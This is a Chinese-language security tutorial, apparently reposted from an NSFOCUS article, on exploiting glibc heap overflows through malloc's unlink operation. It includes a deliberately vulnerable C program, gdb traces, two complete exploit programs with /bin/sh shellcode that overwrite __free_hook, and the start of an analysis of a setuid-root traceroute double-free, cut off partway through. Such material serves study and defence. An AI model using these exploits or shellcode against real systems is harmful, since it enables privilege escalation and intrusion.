一种新的Heap区溢出技术分析
转自：http://blog.donews.com/zwell/archive/2004/08/04/59092.aspx
★ 前言
通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>：
http://magazine.nsfocus.com/detail.asp?id=353
如果系统中没有这些条件，尽管能够发生溢出，攻击者仍然很难执行自己的代码。
这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
攻击的可能性大大增加了。
注：下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)
★ 目录
1. 简单介绍
2. 一个简单的例子
3. malloc/calloc/realloc/free的基本概念
4. 两种可能的攻击方法
5. 针对弱点程序的两个演示程序
6. 实例: Traceroute “-g”问题
★ 正文
1. 简单介绍
使用malloc()或者calloc()可以动态分配一段内存，并向用户返回一个内存地
址，而实际上这个地址前面通常有8个字节的内部结构，用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖，在某些malloc实现下，可能导致
攻击者将任意数据写到一个任意内存地址中去，从而可能改变程序执行流向，
以至执行任意代码。
2. 一个简单的例子
下面我们来看一个简单的例子，这是一个非常典型的Heap溢出问题程序。它分
配两块内存，然后向其中的一块拷贝了一些数据，由于没有检查数据长度，发
生溢出。
/* A simple vulnerable program for malloc/free test – vul.c
* by warning3@nsfocus.com (http://www.nsfocus.com)
* 2001/03/05
*/
#include <stdlib.h>
int
main (int argc, char *argv[])
{
char *buf, *buf1;
buf = malloc (16); /* 分配两块16字节内存 */
buf1 = malloc (16);
if (argc > 1)
memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
printf (“%#p [ buf ] (%.2d) : %s \n”, buf, strlen (buf), buf);
printf (“%#p [ buf1 ] (%.2d) : %s \n”, buf1, strlen (buf1), buf1);
printf (“From buf to buf1 : %d\n\n”, buf1 – buf);
printf (“Before free buf\n”);
free (buf); /* 释放buf */
printf (“Before free buf1\n”);
free (buf1); /* 释放buf1 */
return 0;
} /* End of main */
现在让我们来看看结果：
[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x16′`
0×8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <– 一切正常
0×8049780 [ buf1 ] (00) :
From buf to buf1 : 24 <– 两个buffer之间相差 16+8=24 字节
Before free buf
Before free buf1
[warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x20′`
0×8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <– 为什么会是21字节??
0×8049780 [ buf1 ] (00) : <– 溢出的数据还没有进入buf1″境内”
From buf to buf1 : 24
Before free buf
Before free buf1
[warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x21′`
0×8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <– 这次字节数对了
0×8049780 [ buf1 ] (00) :
From buf to buf1 : 24
Before free buf
Segmentation fault (core dumped) <– 出现可爱的段错误了
<– ” Before free buf1″怎么没有出现？说明段错误发生在执行free(buf)时
[warning3@redhat-6 malloc]$ ./vul `perl -e ‘print “A”x28′`
0×8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
0×8049780 [ buf1 ] (04) : AAAA <– 这回溢出的数据才算到达buf1″境内”
From buf to buf1 : 24
Before free buf
Segmentation fault (core dumped)
看起来，似乎这种段错误并不足以让我们执行自己代码，因为覆盖的地方既没有
函数指针，也没有任何所能利用的变量或结构，更别提返回地址了。别着急，接
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前，我要先
讲一下malloc/calloc/realloc/free的基本概念。
3. malloc/calloc/realloc/free的基本概念
malloc/calloc/realloc/free这几个函数，是用来分配或释放动态内存的。
目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的，都是指这一版本的实现。
从Linux的Man手册MALLOC(3)中看到这些函数原型如下：
void *calloc(size_t nmemb, size_t size);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
calloc()用来分配nmemb个size大小的内存块，并返回一个可用内存地址。
它会自动将得到的内存块全部清零。
malloc()用来分配size大小的内存块,并返回一个可用内存地址。
free()释放ptr所指向的内存。
realloc()用来将ptr指向的一块内存的大小改变为size.
我们需要注意的是free()和realloc()函数。它们都是比较危险的函数，如果
所提供的地址指针ptr所指向的内存是已经释放的，或者不是由malloc类函数
分配的话，就可能发生不可预料的情况。我们要利用的，也就是这些”不可预
料”的情况。
由于calloc()和malloc()差别不大，实际上都是调用的chunk_alloc()函数来
进行分配的，区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出，我们就只以malloc()为例.
malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links — used only if free. */
struct malloc_chunk* bk;
};
prev_size是上一个块的大小，只在上一个块空闲的情况下才被填充
size是当前块的大小，它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针，指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针，指向上一个块。这个成员只在空闲块中使用
对于已分配的内存，除了分配用户指定大小的内存空间外，还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示：
0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数（如果上一个块空闲的话） | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据开始… .
. .
. (用户可以用空间大小) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
这里chunk指针是malloc()在内部使用的，而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说，如果用户要求分配size字节
内存，实际上至少分配size+8字节，只是用户可用的就是size字节(这里先不考
虑对齐问题)。nextchunk指向下一个内存块。
对于空闲(或者说已经释放的)块，是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。
在内存中的分布基本如下图所示：
0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数(prev_size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:’ | 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 前指针(指向链表中的下一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 后指针(指向链表中的上一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 未被双向链表使用的空间(也可能是0字节长) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:’ | 上一个块的字节数 (等于chunk->size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
大家可能主要到两个表中都有一个”P”标志，它是”当前块字节数”(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一，则表示上一块正在被
使用，这时chunk->prev_size通常为零；如果P位清零，则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。
“M”位是表示此内存块是不是由mmap()分配的，如果置一，则是由mmap()分配的，
那么在释放时会由munmap_chunk()去释放；否则，释放时由chunk_free()完成。
这两位标志相关定义为：
#define PREV_INUSE 0×1
#define IS_MMAPPED 0×2
由于malloc实现中是8字节对齐的，size的低3位总是不会被使用的，所以在实际
计算chunk大小时，要去掉标志位。例如：
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
一次malloc最小分配的长度至少为16字节，例如malloc(0).（上面说的长度是指
chunk的长度）
了解了上面这些基本概念，我们再来看看free(mem)时做了些什么：
首先将mem转换为chunk(mem-8)，并调用chunk_free()来释放chunk所指的内存块。
然后程序会检查其相邻（包括前后）的内存块是不是空闲的：
如果是空闲块的话，就将该相邻块从链表中摘除(unlink)，然后将这些相邻的空
闲块合并；
如果不是空闲块的话，就只是设置后一个相邻块的prev_size和size(清
PREV_INUSE标志)。
最后将得到的空闲块加入到双向链表中去。
在进行unlink操作时，实际上就是执行了一个链表结点的删除工作。
比如，如果要从链表中删除chunk结点，所要做得就是:
chunk0->fd <== chunk->fd
chunk1->bk <== chunk->bk
如下所示：
chunk0 chunk chunk1
+———————-+..+———————-+..+———————-+
|prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
+—————-^—–+..+—————-+—+-+..+——————–^-+
|_________________________| |_________________________|
malloc实现中是使用了一个unlink宏来完成这个操作的，定义如下：
/* take a chunk off a list */
#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
发现了吗？这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话，那么chunk->fd就会写到(chunk->bk + 8)这个地址，而chunk->bk就会被
写到(chunk->fd + 12)这个地址！换句话说，我们可以将任意4个字节写到任意
一个内存地址中去！！我们就可能改变程序的流程，比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等，这不正是我们所要的吗？
free()和realloc()中都有unlink操作，因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。
下面让我们再回到开头的那个问题程序，看一下如何攻击它。
4. 两种可能的攻击方法
先来看看弱点程序是怎么出错的：
[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0×80484a6: file vul.c, line 10.
(gdb) r `perl -e ‘print “A”x21′`
Starting program: /home/warning3/malloc/./vul `perl -e ‘print “A”x20′`
Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11 buf1 = malloc (16);
(gdb) p/x buf
$1 = 0×8049768
(gdb) x/20x buf-8
0×8049760: p: 0×00000000 0×00000019 buf:0×00000000 0×00000000
0×8049770: 0×00000000 0×00000000 *0×00000000 #0×00000889
0×8049780: 0×00000000 0×00000000 0×00000000 0×00000000
0×8049790: 0×00000000 0×00000000 0×00000000 0×00000000
0×80497a0: 0×00000000 0×00000000 0×00000000 0×00000000
[ p表示内存块内部指针 ]
[ 注意上面加*号的地方，这里开始的结点是链表中的top结点, #号处是它的长度 ]
(gdb) p/x *(buf-4) <— 这里存放的是当前块的大小，设置了PREV_INUSE位
$3 = 0×19
(gdb) p/x *(buf-4)&~0×1 <– 算一下实际长度: 0×18 = 0×10 + 0×8
$4 = 0×18
(gdb) n
13 if (argc > 1)
(gdb) p/x buf1 <– 分配第二块内存
$5 = 0×8049780
(gdb) x/20x buf-8
0×8049760: p:0×00000000 0×00000019 buf:0×00000000 0×00000000
0×8049770: 0×00000000 0×00000000 p1:0×00000000 0×00000019
0×8049780: buf1:0×00000000 0×00000000 0×00000000 0×00000000
0×8049790: *0×00000000 #0×00000871 0×00000000 0×00000000
0×80497a0: 0×00000000 0×00000000 0×00000000 0×00000000
[ p1表示内存块内部指针 ]
[ 我们看到top结点后移了0x18字节，长度也缩小了0x18字节 ]
(gdb) n
13 if (argc > 1)
(gdb) n
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16 printf (“%#p [ buf ] (%.2d) : %s \n”, buf, strlen (buf), buf);
(gdb) x/20x buf-8
0×8049760: p:0×00000000 0×00000019 buf:0×41414141 0×41414141
0×8049770: 0×41414141 0×41414141 p1: 0×41414141 0×00000019
0×8049780: buf1:0×00000000 0×00000000 0×00000000 0×00000000
0×8049790: 0×00000000 0×00000871 0×00000000 0×00000000
0×80497a0: 0×00000000 0×00000000 0×00000000 0×00000000
[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度，所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧 ]
(gdb) c
Continuing.
0×8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
0×8049780 [ buf1 ] (00) :
From buf to buf1 : 24
Before free buf
Before free buf1
由于上面的情况下，p1的size部分没有被覆盖，因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作，也就不会有段错误发生了。如果我们再增
加几个字节，就没有那么”幸运”了.
(gdb) b 14
Breakpoint 1 at 0×80484ca: file vul.c, line 14.
(gdb) r `perl -e ‘print “A”x24′`
Starting program: /home/warning3/malloc/./vul `perl -e ‘print “A”x24′`
Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0×8049760: 0×00000000 0×00000019 0×00000000 0×00000000
0×8049770: 0×00000000 0×00000000 0×00000000 0×00000019
0×8049780: 0×00000000 0×00000000 0×00000000 0×00000000
0×8049790: 0×00000000 0×00000871 0×00000000 0×00000000
0×80497a0: 0×00000000 0×00000000 0×00000000 0×00000000
(gdb) n
16 printf (“%#p [ buf ] (%.2d) : %s \n”, buf, strlen (buf), buf);
(gdb) x/20x buf-8
0×8049760: 0×00000000 0×00000019 0×41414141 0×41414141
0×8049770: 0×41414141 0×41414141 0×41414141 0×41414141
0×8049780: 0×00000000 0×00000000 0×00000000 0×00000000
0×8049790: 0×00000000 0×00000871 0×00000000 0×00000000
0×80497a0: 0×00000000 0×00000000 0×00000000 0×00000000
(gdb) b 21 <– 这时候buf1的内部结构(prev_size和size)已经被覆盖了
Breakpoint 2 at 0×804855e: file vul.c, line 21.
(gdb) c
Continuing.
0×8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
0×8049780 [ buf1 ] (00) :
From buf to buf1 : 24
Before free buf
Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
21 free (buf); /* 释放buf */
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0×400740c4 in chunk_free (ar_ptr=0×40108d40, p=0×8049760) at malloc.c:3100
3100 malloc.c: No such file or directory.
(gdb) x/i $pc
0×400740c4 <chunk_free+268>: testb $0×1,0×4(%ecx,%esi,1)
(gdb) i r $ecx
ecx 0×41414140 1094795584 <– 这个是覆盖后p1的块长度
(gdb) i r $esi
esi 0×8049778 134518648 <– 这个是p1块的地址
下面我们来看free()是怎么工作的，以便确定到底是哪里发生了段错误。注意
下面的代码做了一些简化：
void fREe(Void_t* mem)
{
…
(a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置，则调用munmap_chunk() */
{
munmap_chunk(p);
return;
}
…
p = mem2chunk(mem); /* 将用户地址转换成内部地址: p = mem – 8 */
…
chunk_free(ar_ptr, p);
}
static void
internal_function
chunk_free(arena *ar_ptr, mchunkptr p)
{
INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址 */
INTERNAL_SIZE_T sz; /* 当前块大小 */
INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
INTERNAL_SIZE_T prevsz; /* 上一个块大小 */
…
check_inuse_chunk(ar_ptr, p);
sz = hd & ~PREV_INUSE; /* 取得当前块的真实大小 */
next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
nextsz = chunksize(next); /* 得到下一个块的真实大小
* #define chunksize(p) ((p)->size & ~(SIZE_BITS))
*/
if (next == top(ar_ptr)) /* 如果下一个块是头结点，则与之合并 */
{
sz += nextsz;
(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */
}
set_head(p, sz | PREV_INUSE);
top(ar_ptr) = p;
…..
}
/* 如果下一个块不是头结点 */
(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */
}
/* 根据我的判断，刚才的程序，是在进行这个检查时发生段错误的 */
(c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的，则与之合并*/
{
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);/* 从链表中删除下一个结点 */
next = chunk_at_offset(p, sz);
}
else
set_head(next, nextsz); /* 如果前后两个块都不是空闲的，则将下一个块的size
中的PREV_INUSE位清零 */
set_head(p, sz | PREV_INUSE);
next->prev_size = sz; /* 将下一个块的prev_size部分填成当前块的大小 */
if (!islr)
frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */
…..
}
我们看到这里面有3个地方调用了unlink.如果想要执行它们，需要满足下列条件：
1. (a) 当前块的IS_MMAPPED位必须被清零，否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
或者
(c) 下一个块是个空闲块(下下一个块（p->next->next）size的PREV_INUSE位清零)
我们的弱点程序发生溢出时，可以覆盖下一个块的内部结构，但是并不能修改当前
块的内部结构，因此条件(b)是满足不了的。我们只能寄希望于条件(c).
所谓下下一个块的地址其实是由下一个块的数据来推算出来的，因此，既然我们
可以完全控制下一个块的数据，就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2，下
下一个块为块3，如下图所示：
块1 块2 伪造的块3
+———————-+————————+..+————————-+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意数据|
+———————-+————————+..+————————-+
| | |
|–> p |–>next |–>next2next
next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))
因此，只要我们能够通过修改size2，使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3，使得此块的size3的PREV_INUSE位置零即可！
然后，在fd2处填入要覆盖的地址，例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址，这样再下一次调用free()时就会执行我们的代码。
在bk2处可以填入shellcode的地址。
实际构造的时候块2的结构如下：
prev_size2 = 0×11223344 /* 可以使用任意值 */
size2 = (next2next – next) /* 这个数值必须是4的倍数 */
fd2 = __free_hook – 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode /* 这将导致fd2被写到shellcode + 8这个地址，所以需要
在shellcode前面放一段跳转语句以跳过fd2 */
伪造的块3则要求很低，只需要让size3的最后一位为0即可:
prev_size3 = 0×11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE /* 这里的0xffffffff可以用任意非零值替换 */
这个伪造的块可以放在任意可能的位置，例如块2的前面或者后面。如果要放在
块2的后面，由于size2是4个字节，因此如果距离比较小的话，那么size2是肯定
要包含零字节的，这会中断数据拷贝，因此距离必须足够远，以至于四个字节均
不为零，堆栈段是一个不错的选择，通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面，那么size2就是个负值，通常是0xffffffxx等
等。这肯定满足size2不为零的要求，另外，这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。
块1 （ 块3 ） 块2
+—————————————+————————+
|prev_size|size|…….|0×11223344|size3|prev_size2|size2|fd2|bk2|
+—————————————+————————+
| |<—- 8 字节 –>|
| |
|<—– 16字节 ——–>|
在上面的图上，我们将块3的8字节的内部结构放在了块1的用户数据区中，而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段，而块2的prev_size我们也不关心，我们还可以有更简化的
版本：将块3往右移动4个字节，即让siez3与prev_size2重合！
| 块1 |…. 块3 ..| 块2 |
+—————————————+————————+
|prev_size|size|………..| 0×11223344 |prev_size2|size2|fd2|bk2|
+—————————————+————————+
| |<– 4字节–>| (size3)
| |
|<—– 16字节 ——–>|
这样next2next – next = -4 = 0xfffffffc .则块2就可以重新构造一下：
prev_size2 = 0×11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2 = 0xfffffffc /* 长度为-4 */
fd2 = __free_hook – 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode
至于块3的prev_size3,我们并不关心，因此并不需要再特别构造。这样一来，
我们的工作就大大简化了，只需要构造一个块2就可以了！
现在我们看看我们要做的事情：
i. 使用32字节数据模板，前16字节是任意非零数值，而后16字节是我们伪造的
块2
ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
$ [warning3@redhat-6 malloc]$ gdb ./vul -e
(gdb) b main
Breakpoint 1 at 0×80484a6: file vul.c, line 10.
(gdb) r
Starting program: /home/warning3/malloc/./vul
Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) p/x &__free_hook
$2 = 0×401091b8
iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码，以便
跳过一个malloc_chunk结构，因为(__free_hook-12)这个值会被写到
shellcode+8处.
+——–+———————+—————+
|jmp 0×0a|nopnop…nopnopnopnop|正常的shellcode|
+——–+———————+—————+
|<—- 10字节 —->|
5. 一个演示程序
下面我们就可以来写溢出程序了，其实是相当简单的：
/* Exploit for free() with unlinking next chunk – ex.c
* by warning3@nsfocus.com (http://www.nsfocus.com)
* 2001/03/06
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0×401091b8 /* __free_hook()地址 */
#define VULPROG “./vul”
#define PREV_INUSE 0×1
#define IS_MMAPPED 0×2
char shellcode[] =
”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″ /*这一段是为了跳过垃圾数据*/
”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
”\x80\xe8\xdc\xff\xff\xff/bin/sh”;
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0×11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK – 12 ;
*ptr++ = codeaddr;
bzero(buf, 128);
memset (buf, ‘A’, 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
运行一下看看：
[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0×8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
0×8049780 [ buf1 ] (08) : 瑧@???
From buf to buf1 : 24
Before free buf
Before free buf1
bash$ <— 成功了!!
是不是很简单？:-)
小节：
现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
结构的指针(chunk = mem – 8)。
我们有两种方法：
1. 如果我们想利用上一块的unlink进行攻击，需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为零
III. chunk + chunk->prev_size指向一个我们控制的伪造块结构；
IV. 在一个确定的位置构造一个伪块
2. 如果想利用下一个块的unlink进行攻击，需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为一
III. chunk + nextsz 指向一个我们控制的伪造块结构。
(nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
IV. 在一个确定的位置构造一个伪块
其中伪块(fake_chunk)的结构如下：
fake_chunk[0] = 0×11223344 & ~PREV_INUSE （只在第2种情况下有意义）
fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); （只在第2种情况下有意义）
fake_chunk[8] = objaddr – 12 ; (objaddr是要覆盖的目标地址)
fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)
至于具体使用上面哪种方法，需要根据实际情况确定。例如，如果你不能控制
chunk->prev_size使其指向我们的伪块，那就不能用第一种方法了。
我们再看一个利用上一块的unlink进行攻击的例子，只要将弱点程序的free(buf1)放到
free(buf)前面即可，这样我们所free的buf1就是一个我们可以控制的内存块了。
改动后的vul.c如下：
…
printf (“Before free buf1\n”);
free (buf1); /* 释放buf1 */
printf (“Before free buf\n”);
free (buf); /* 释放buf */
…
看看我们的新演示程序吧：
/* Exploit for free() with unlinking previous chunk – ex1.c
* by warning3@nsfocus.com (http://www.nsfocus.com)
* 2001/03/06
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0×401091b8 /* __free_hook()地址 */
#define VULPROG “./vul”
#define PREV_INUSE 0×1
#define IS_MMAPPED 0×2
char shellcode[] =
”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″ /*这一段是为了跳过垃圾数据 */
”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
”\x80\xe8\xdc\xff\xff\xff/bin/sh”;
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0×11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK – 12;
*ptr++ = codeaddr;
bzero (buf, 128);
memset (buf, ‘A’, 16);
ptr = (unsigned int *) (buf + 16);
/* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
*ptr++ = 0xfffffff8;
/* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
* 如果要为正值，必须找到堆栈里的一个有效值，还要计算偏移,太麻烦。
* 同时要清两个标记。满足I.,II.条
*/
*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
/* 将伪造的块放到确定位置。满足第IV条 */
memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
}/* End of main */
让我们再来测试一下：
[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
[warning3@redhat-6 malloc]$ ./ex1
0×8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3″????瑧@???
0×8049780 [ buf1 ] (16) : D3″????瑧@???
From buf to buf1 : 24
Before free buf1 <– 先释放buf1
Before free buf
bash$ exit
6. 实例: Traceroute “-g”问题
有了上面的演示程序。我们再来看一个真实世界的例子。
Traceroute是用来检查通往目标网络的路由情况的一个工具，很多Unix系统都安
装了这个软件。由于traceroute需要操纵原始套接字，因此通常被设置了setuid
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
Laboratory)存在一个安全漏洞，可以被攻击者用来非法获取root权限。
这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。
首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数，它
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
savestr()时，所需内存比剩余空间还小，就不再调用malloc()，而是直接从已分配的空
间中返回一个地址，这样可以减少调用malloc()的次数。然而，这给用户确定何时需要释
放那块分配的内存带来了麻烦，traceroute中没有仔细考虑这一点，而是将savestr()等
同与strdup()来使用，每次调用savestr()完毕后总会调用free()函数释放内存。因此，
当第二次调用savestr()后，free()所释放的内存，实际上是一块未被分配的内存（因为
这块内存已经被第一次free()所释放了）！
下面舛尉褪莝avestr()的代码：
<…>
/* A replacement for strdup() that cuts down on malloc() overhead */
char *
savestr(register const char *str)
{
register u_int size;
register char *p;
static char *strptr = NULL;
static u_int strsize = 0;
size = strlen(str) + 1;
if (size > strsize) {
strsize = 1024;
if (strsize < size)
strsize = size;
/* 只有size>strsize的情况下才调用malloc*/
strptr = (char *)malloc(strsize);
if (strptr == NULL) {
fprintf(stderr, “savestr: malloc\n”);
exit(1);
}
}
(void)strcpy(strptr, str);
p = strptr;
strptr += size;
strsize -= size;
return (p);
}
<…>
我们看一下两次调用savestr()时的情形：
<1>. p = savestr(S)
假设字符串S长度为l(l<1024),则第一次调用savestr()，它会分配1024
字节长的缓冲区来储存S:
